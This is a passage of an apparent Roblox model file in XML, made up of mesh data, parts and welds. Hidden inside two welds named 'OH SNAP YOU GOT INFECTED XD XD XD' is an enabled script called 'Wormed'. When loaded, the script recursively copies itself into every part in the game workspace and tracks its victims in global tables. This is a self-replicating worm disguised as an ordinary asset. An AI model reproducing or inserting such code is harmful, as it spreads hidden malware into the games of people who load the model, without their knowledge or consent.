MjYzNjJlLTAwNV1bMC44MjM3OSwgMC41NjY4OSwgMC4wMDAwMF1bMS4wMDAwMCwgMC44NzUw
MCwgMF1bOC43MDYzNiwgMzIuNzI3MywgNi4xODQ2MV1bMC43MTMwNSwgMC41Njc2NCwgMC40
MTE1Ml1bMC45MTY2NywgMC44NzUwMCwgMF1bOC43MDYzNiwgMzIuNzI3MywgLTYuMTg0NjNd
WzAuNzEzMDUsIDAuNTY3NjQsIC0wLjQxMTUyXVswLjA4MzMzLCAwLjg3NTAwLCAwXVstMi4w
MDU3MiwgNTIuMzc5NywgLTEuMjYzNjJlLTAwNV1bMC4wMDAwMCwgMS4wMDAwMCwgMC4wMDAw
MF1bMC4wMDAwMCwgMS4wMDAwMCwgMF1bMTAuMzYzNSwgMzIuNzI3MywgLTEuMjYzNjJlLTAw
NV1bMC44MjM3OSwgMC41NjY4OSwgMC4wMDAwMF1bMC4wMDAwMCwgMC44NzUwMCwgMF1bNC4x
Nzg5LCAzMi43MjczLCAtMTAuNzEyMV1bMC40MTExNSwgMC41Njk2NiwgLTAuNzExNjVdWzAu
MTY2NjcsIDAuODc1MDAsIDBdWy0yLjAwNTcyLCA1Mi4zNzk3LCAtMS4yNjM2MmUtMDA1XVsw
LjAwMDAwLCAxLjAwMDAwLCAwLjAwMDAwXVswLjA4MzMzLCAxLjAwMDAwLCAwXVs4LjcwNjM2
LCAzMi43MjczLCAtNi4xODQ2M11bMC43MTMwNSwgMC41Njc2NCwgLTAuNDExNTJdWzAuMDgz
MzMsIDAuODc1MDAsIDBdWy0yLjAwNTcyLCAzMi43MjczLCAtMTIuMzY5M11bMC4wMDAyOCwg
MC41NzIzOSwgLTAuODE5OThdWzAuMjUwMDAsIDAuODc1MDAsIDBdWy0yLjAwNTcyLCA1Mi4z
Nzk3LCAtMS4yNjM2MmUtMDA1XVswLjAwMDAwLCAxLjAwMDAwLCAwLjAwMDAwXVswLjE2NjY3
LCAxLjAwMDAwLCAwXVs0LjE3ODksIDMyLjcyNzMsIC0xMC43MTIxXVswLjQxMTE1LCAwLjU2
OTY2LCAtMC43MTE2NV1bMC4xNjY2NywgMC44NzUwMCwgMF1bLTguMTkwMzQsIDMyLjcyNzMs
IC0xMC43MTIxXVstMC40MDg4NCwgMC41NzUwOSwgLTAuNzA4NjFdWzAuMzMzMzMsIDAuODc1
MDAsIDBdWy0yLjAwNTcyLCA1Mi4zNzk3LCAtMS4yNjM2MmUtMDA1XVswLjAwMDAwLCAxLjAw
MDAwLCAwLjAwMDAwXVswLjI1MDAwLCAxLjAwMDAwLCAwXVstMi4wMDU3MiwgMzIuNzI3Mywg
LTEyLjM2OTNdWzAuMDAwMjgsIDAuNTcyMzksIC0wLjgxOTk4XVswLjI1MDAwLCAwLjg3NTAw
LCAwXVstMTIuNzE3OCwgMzIuNzI3MywgLTYuMTg0NjRdWy0wLjcwNzIyLCAwLjU3NzA1LCAt
MC40MDg0N11bMC40MTY2NywgMC44NzUwMCwgMF1bLTIuMDA1NzIsIDUyLjM3OTcsIC0xLjI2
MzYyZS0wMDVdWzAuMDAwMDAsIDEuMDAwMDAsIDAuMDAwMDBdWzAuMzMzMzMsIDEuMDAwMDAs
IDBdWy04LjE5MDM0LCAzMi43MjczLCAtMTAuNzEyMV1bLTAuNDA4ODQsIDAuNTc1MDksIC0w
LjcwODYxXVswLjMzMzMzLCAwLjg3NTAwLCAwXVstMTQuMzc1LCAzMi43MjczLCAtMS4yNjM2
MmUtMDA1XVstMC44MTYyMCwgMC41Nzc3NiwgLTAuMDAwMDBdWzAuNTAwMDAsIDAuODc1MDAs
IDBdWy0yLjAwNTcyLCA1Mi4zNzk3LCAtMS4yNjM2MmUtMDA1XVswLjAwMDAwLCAxLjAwMDAw
LCAwLjAwMDAwXVswLjQxNjY3LCAxLjAwMDAwLCAwXVstMTIuNzE3OCwgMzIuNzI3MywgLTYu
MTg0NjRdWy0wLjcwNzIyLCAwLjU3NzA1LCAtMC40MDg0N11bMC40MTY2NywgMC44NzUwMCwg
MF1bLTEyLjcxNzgsIDMyLjcyNzMsIDYuMTg0NjFdWy0wLjcwNzIyLCAwLjU3NzA1LCAwLjQw
ODQ3XVswLjU4MzMzLCAwLjg3NTAwLCAwXVstMi4wMDU3MiwgNTIuMzc5NywgLTEuMjYzNjJl
LTAwNV1bMC4wMDAwMCwgMS4wMDAwMCwgMC4wMDAwMF1bMC41MDAwMCwgMS4wMDAwMCwgMF1b
LTE0LjM3NSwgMzIuNzI3MywgLTEuMjYzNjJlLTAwNV1bLTAuODE2MjAsIDAuNTc3NzYsIC0w
LjAwMDAwXVswLjUwMDAwLCAwLjg3NTAwLCAwXVstOC4xOTAzNSwgMzIuNzI3MywgMTAuNzEy
MV1bLTAuNDA4ODQsIDAuNTc1MDksIDAuNzA4NjFdWzAuNjY2NjcsIDAuODc1MDAsIDBdWy0y
LjAwNTcyLCA1Mi4zNzk3LCAtMS4yNjM2MmUtMDA1XVswLjAwMDAwLCAxLjAwMDAwLCAwLjAw
MDAwXVswLjU4MzMzLCAxLjAwMDAwLCAwXVstMTIuNzE3OCwgMzIuNzI3MywgNi4xODQ2MV1b
LTAuNzA3MjIsIDAuNTc3MDUsIDAuNDA4NDddWzAuNTgzMzMsIDAuODc1MDAsIDBdWy0yLjAw
NTcyLCAzMi43MjczLCAxMi4zNjkyXVswLjAwMDI4LCAwLjU3MjM5LCAwLjgxOTk4XVswLjc1
MDAwLCAwLjg3NTAwLCAwXVstMi4wMDU3MiwgNTIuMzc5NywgLTEuMjYzNjJlLTAwNV1bMC4w
MDAwMCwgMS4wMDAwMCwgMC4wMDAwMF1bMC42NjY2NywgMS4wMDAwMCwgMF1bLTguMTkwMzUs
IDMyLjcyNzMsIDEwLjcxMjFdWy0wLjQwODg0LCAwLjU3NTA5LCAwLjcwODYxXVswLjY2NjY3
LCAwLjg3NTAwLCAwXVs0LjE3ODksIDMyLjcyNzMsIDEwLjcxMjFdWzAuNDExMTUsIDAuNTY5
NjYsIDAuNzExNjVdWzAuODMzMzMsIDAuODc1MDAsIDBdWy0yLjAwNTcyLCA1Mi4zNzk3LCAt
MS4yNjM2MmUtMDA1XVswLjAwMDAwLCAxLjAwMDAwLCAwLjAwMDAwXVswLjc1MDAwLCAxLjAw
MDAwLCAwXVstMi4wMDU3MiwgMzIuNzI3MywgMTIuMzY5Ml1bMC4wMDAyOCwgMC41NzIzOSwg
MC44MTk5OF1bMC43NTAwMCwgMC44NzUwMCwgMF1bOC43MDYzNiwgMzIuNzI3MywgNi4xODQ2
MV1bMC43MTMwNSwgMC41Njc2NCwgMC40MTE1Ml1bMC45MTY2NywgMC44NzUwMCwgMF1bLTIu
MDA1NzIsIDUyLjM3OTcsIC0xLjI2MzYyZS0wMDVdWzAuMDAwMDAsIDEuMDAwMDAsIDAuMDAw
MDBdWzAuODMzMzMsIDEuMDAwMDAsIDBdWzQuMTc4OSwgMzIuNzI3MywgMTAuNzEyMV1bMC40
MTExNSwgMC41Njk2NiwgMC43MTE2NV1bMC44MzMzMywgMC44NzUwMCwgMF1bMTAuMzYzNSwg
MzIuNzI3MywgLTEuMjYzNjJlLTAwNV1bMC44MjM3OSwgMC41NjY4OSwgMC4wMDAwMF1bMS4w
MDAwMCwgMC44NzUwMCwgMF1bLTIuMDA1NzIsIDUyLjM3OTcsIC0xLjI2MzYyZS0wMDVdWzAu
MDAwMDAsIDEuMDAwMDAsIDAuMDAwMDBdWzAuOTE2NjcsIDEuMDAwMDAsIDBdWzguNzA2MzYs
IDMyLjcyNzMsIDYuMTg0NjFdWzAuNzEzMDUsIDAuNTY3NjQsIDAuNDExNTJdWzAuOTE2Njcs
IDAuODc1MDAsIDBd</binary></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.0599999987</X>
								<Y>0.0500000007</Y>
								<Z>0.0599999987</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX378">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX379">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX380">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX381">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX382">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX383">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">226</int>
						<CoordinateFrame name="CFrame">
							<X>77</X>
							<Y>5.07143784</Y>
							<Z>17.5</Z>
							<R00>0.999999583</R00>
							<R01>1.10818377e-008</R01>
							<R02>-1.34814556e-007</R02>
							<R10>1.10838467e-008</R10>
							<R11>0.999999642</R11>
							<R12>-2.16231246e-008</R12>
							<R20>-6.63574795e-008</R20>
							<R21>-2.30982078e-008</R21>
							<R22>0.99999994</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.10743141e-018</X>
							<Y>2.10743203e-018</Y>
							<Z>7.59302089e-018</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>7.60005275e-018</X>
							<Y>-32.69981</Y>
							<Z>7.60005275e-018</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX384">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0.5</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">HeadWeld</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX385">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0.5</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">HeadWeld</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX386">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0.5</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">HeadWeld</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX387">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0.5</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">HeadWeld</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX388">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX389">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX390">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX391">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX392">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="SpecialMesh" referent="RBX393">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><binary>dmVyc2lvbiAxLjAwDQo4ODYNClswLjY3NDQ5MywgLTAuOTk1Nzg4LCAtMi4wNzgxOF1bMC44
MTA3NiwgLTAuMjI0NzYsIDAuNTQwNTFdWzAuMjUwMDAsIDAuODYzMjgsIDBdWzAuNjAxNTc1
LCAtMS4wMzIyNSwgLTIuMTE0NjNdWzAuODAxNzgsIC0wLjI2NzI2LCAwLjUzNDUyXVswLjI2
MTcyLCAwLjg1NTQ3LCAwXVswLjU2NTExNiwgLTAuOTk1Nzg4LCAtMi4xNTEwOV1bMC44NjM0
MywgLTAuMTEwODMsIDAuNDkyMTRdWzAuMjczNDQsIDAuODYzMjgsIDBdWzAuNzEwOTUyLCAt
MC44ODY0MTEsIC0yLjA3ODE4XVswLjg5OTE4LCAwLjA1Njg0LCAwLjQzMzg3XVswLjI0MjE5
LCAwLjg3ODkxLCAwXVswLjY3NDQ5MywgLTAuOTk1Nzg4LCAtMi4wNzgxOF1bMC44MTA3Niwg
LTAuMjI0NzYsIDAuNTQwNTFdWzAuMjUwMDAsIDAuODYzMjgsIDBdWzAuNTY1MTE2LCAtMC45
OTU3ODgsIC0yLjE1MTA5XVswLjg2MzQzLCAtMC4xMTA4MywgMC40OTIxNF1bMC4yNzM0NCwg
MC44NjMyOCwgMF1bMC41NjUxMTYsIC0wLjk5NTc4OCwgLTIuMTUxMDldWzAuODYzNDMsIC0w
LjExMDgzLCAwLjQ5MjE0XVswLjI3MzQ0LCAwLjg2MzI4LCAwXVswLjUyODY1NywgLTAuODg2
NDExLCAtMi4xNTEwOV1bMC45MDY4NSwgMC4xNTM2OSwgMC4zOTI0M11bMC4yODEyNSwgMC44
Nzg5MSwgMF1bMC43MTA5NTIsIC0wLjg4NjQxMSwgLTIuMDc4MThdWzAuODk5MTgsIDAuMDU2
ODQsIDAuNDMzODddWzAuMjQyMTksIDAuODc4OTEsIDBdWzAuNzEwOTUyLCAtMC43NDA1NzQs
IC0yLjA0MTcyXVswLjkwMDQ5LCAwLjExMjk4LCAwLjQxOTk0XVswLjIzODI4LCAwLjkwNjI1
LCAwXVswLjcxMDk1MiwgLTAuODg2NDExLCAtMi4wNzgxOF1bMC44OTkxOCwgMC4wNTY4NCwg
MC40MzM4N11bMC4yNDIxOSwgMC44Nzg5MSwgMF1bMC41Mjg2NTcsIC0wLjg4NjQxMSwgLTIu
MTUxMDldWzAuOTA2ODUsIDAuMTUzNjksIDAuMzkyNDNdWzAuMjgxMjUsIDAuODc4OTEsIDBd
WzAuNTI4NjU3LCAtMC44ODY0MTEsIC0yLjE1MTA5XVswLjkwNjg1LCAwLjE1MzY5LCAwLjM5
MjQzXVswLjI4MTI1LCAwLjg3ODkxLCAwXVswLjQ5MjE5OCwgLTAuNzQwNTc0LCAtMi4xNTEw
OV1bMC44OTM4MSwgMC4wMzcwOSwgMC40NDY5MV1bMC4yODUxNiwgMC45MDYyNSwgMF1bMC43
MTA5NTIsIC0wLjc0MDU3NCwgLTIuMDQxNzJdWzAuOTAwNDksIDAuMTEyOTgsIDAuNDE5OTRd
WzAuMjM4MjgsIDAuOTA2MjUsIDBdWzAuNzEwOTUyLCAtMC41OTQ3MzgsIC0yLjA0MTcyXVsw
Ljg5MjAzLCAtMC4wNzMxMywgMC40NDYwMl1bMC4yMzgyOCwgMC45MzM1OSwgMF1bMC43MTA5
NTIsIC0wLjc0MDU3NCwgLTIuMDQxNzJdWzAuOTAwNDksIDAuMTEyOTgsIDAuNDE5OTRdWzAu
MjM4MjgsIDAuOTA2MjUsIDBdWzAuNDkyMTk4LCAtMC43NDA1NzQsIC0yLjE1MTA5XVswLjg5
MzgxLCAwLjAzNzA5LCAwLjQ0NjkxXVswLjI4NTE2LCAwLjkwNjI1LCAwXVswLjcxMDk1Miwg
LTAuNTk0NzM4LCAtMi4wNDE3Ml1bMC44OTIwMywgLTAuMDczMTMsIDAuNDQ2MDJdWzAuMjM4
MjgsIDAuOTMzNTksIDBdWzAuNDkyMTk4LCAtMC43NDA1NzQsIC0yLjE1MTA5XVswLjg5Mzgx
LCAwLjAzNzA5LCAwLjQ0NjkxXVswLjI4NTE2LCAwLjkwNjI1LCAwXVswLjQ5MjE5OCwgLTAu
NTk0NzM4LCAtMi4xNTEwOV1bMC45MDE2MSwgLTAuMTA0MDYsIDAuNDE5ODRdWzAuMjg1MTYs
IDAuOTMzNTksIDBdWzAuNzEwOTUyLCAtMC40NDg5MDIsIC0yLjA3ODE4XVswLjkxNjEzLCAt
MC4wNjMyOCwgMC4zOTU4Nl1bMC4yNDIxOSwgMC45NjA5NCwgMF1bMC43MTA5NTIsIC0wLjU5
NDczOCwgLTIuMDQxNzJdWzAuODkyMDMsIC0wLjA3MzEzLCAwLjQ0NjAyXVswLjIzODI4LCAw
LjkzMzU5LCAwXVswLjQ5MjE5OCwgLTAuNTk0NzM4LCAtMi4xNTEwOV1bMC45MDE2MSwgLTAu
MTA0MDYsIDAuNDE5ODRdWzAuMjg1MTYsIDAuOTMzNTksIDBdWzAuNzEwOTUyLCAtMC40NDg5
MDIsIC0yLjA3ODE4XVswLjkxNjEzLCAtMC4wNjMyOCwgMC4zOTU4Nl1bMC4yNDIxOSwgMC45
NjA5NCwgMF1bMC40OTIxOTgsIC0wLjU5NDczOCwgLTIuMTUxMDldWzAuOTAxNjEsIC0wLjEw
NDA2LCAwLjQxOTg0XVswLjI4NTE2LCAwLjkzMzU5LCAwXVswLjUyODY1NywgLTAuNDQ4OTAy
LCAtMi4xNTEwOV1bMC44OTk2OCwgLTAuMDUxMTMsIDAuNDMzNTVdWzAuMjgxMjUsIDAuOTYw
OTQsIDBdWzAuNjc0NDkzLCAtMC4zMzk1MjUsIC0yLjA3ODE4XVswLjg2NjU5LCAwLjA3MTAz
LCAwLjQ5Mzk0XVswLjI1MDAwLCAwLjk3NjU2LCAwXVswLjcxMDk1MiwgLTAuNDQ4OTAyLCAt
Mi4wNzgxOF1bMC45MTYxMywgLTAuMDYzMjgsIDAuMzk1ODZdWzAuMjQyMTksIDAuOTYwOTQs
IDBdWzAuNTI4NjU3LCAtMC40NDg5MDIsIC0yLjE1MTA5XVswLjg5OTY4LCAtMC4wNTExMywg
MC40MzM1NV1bMC4yODEyNSwgMC45NjA5NCwgMF1bMC42NzQ0OTMsIC0wLjMzOTUyNSwgLTIu
MDc4MThdWzAuODY2NTksIDAuMDcxMDMsIDAuNDkzOTRdWzAuMjUwMDAsIDAuOTc2NTYsIDBd
WzAuNTI4NjU3LCAtMC40NDg5MDIsIC0yLjE1MTA5XVswLjg5OTY4LCAtMC4wNTExMywgMC40
MzM1NV1bMC4yODEyNSwgMC45NjA5NCwgMF1bMC41NjUxMTYsIC0wLjMzOTUyNSwgLTIuMTUx
MDldWzAuODMxMjUsIDAuMDQzODQsIDAuNTU0MTddWzAuMjczNDQsIDAuOTc2NTYsIDBdWzAu
NjAxNTc1LCAtMC4zMDMwNjYsIC0yLjExNDYzXVswLjgwMTc4LCAwLjI2NzI2LCAwLjUzNDUy
XVswLjI2MTcyLCAwLjk4NDM4LCAwXVswLjY3NDQ5MywgLTAuMzM5NTI1LCAtMi4wNzgxOF1b
MC44NjY1OSwgMC4wNzEwMywgMC40OTM5NF1bMC4yNTAwMCwgMC45NzY1NiwgMF1bMC41NjUx
MTYsIC0wLjMzOTUyNSwgLTIuMTUxMDldWzAuODMxMjUsIDAuMDQzODQsIDAuNTU0MTddWzAu
MjczNDQsIDAuOTc2NTYsIDBdWy0wLjUyODY1NSwgLTAuOTk1Nzg4LCAtMi4xNTEwOV1bMC44
MzEyNSwgLTAuMDQzODQsIC0wLjU1NDE3XVswLjMxMjUwLCAwLjg2MzI4LCAwXVstMC41NjUx
MTQsIC0xLjAzMjI1LCAtMi4xMTQ2M11bMC44MDE3OCwgLTAuMjY3MjYsIC0wLjUzNDUyXVsw
LjMyNDIyLCAwLjg1NTQ3LCAwXVstMC42MzgwMzIsIC0wLjk5NTc4OCwgLTIuMDc4MThdWzAu
ODY2NTksIC0wLjA3MTAzLCAtMC40OTM5NF1bMC4zMzU5NCwgMC44NjMyOCwgMF1bLTAuNTI4
NjU1LCAtMC45OTU3ODgsIC0yLjE1MTA5XVswLjgzMTI1LCAtMC4wNDM4NCwgLTAuNTU0MTdd
WzAuMzEyNTAsIDAuODYzMjgsIDBdWy0wLjYzODAzMiwgLTAuOTk1Nzg4LCAtMi4wNzgxOF1b
